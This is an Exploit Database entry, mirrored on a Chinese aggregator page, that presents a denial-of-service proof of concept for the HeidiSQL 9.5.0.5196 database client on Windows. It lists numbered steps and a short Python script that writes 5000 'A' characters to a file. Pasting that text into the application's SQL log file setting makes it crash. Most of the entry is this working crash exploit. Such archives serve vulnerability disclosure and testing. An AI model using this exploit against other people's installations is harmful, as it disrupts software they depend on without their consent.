HeidiSQL 9.5.0.5196 – Denial of Service (PoC)

• Exploit Database
• 124 阅读

• 作者： Victor Mondragón
  日期： 2018-11-12
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45806/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

  # Exploit Title: HeidiSQL 9.5.0.5196 - Denial of Service (PoC) # Discovery by: Victor Mondragón # Discovery Date: 2018-11-06 # Vendor Homepage: https://www.heidisql.com/ # Software Link: https://www.heidisql.com/download.php # Tested Version: 9.5.0.5196 # Tested on: Windows 10 Single Language x64 / Windows 7 x64 Service Pack 1   #Steps to produce the crash: #1.- Run python code: HeidiSQL 9.5.0.5196.py #2.- Open bd.txt and copy content to clipboard #2.- Open HeidiSQL #3.- Select "More" #4.- Select "Preferences" > "Logging" #5.- Select "Write SQL log to file" and Paste ClipBoard #6.- Click on "OK" #7.- Crashed   cod = "\x41" * 5000   f = open('bd.txt', 'w') f.write(cod) f.close()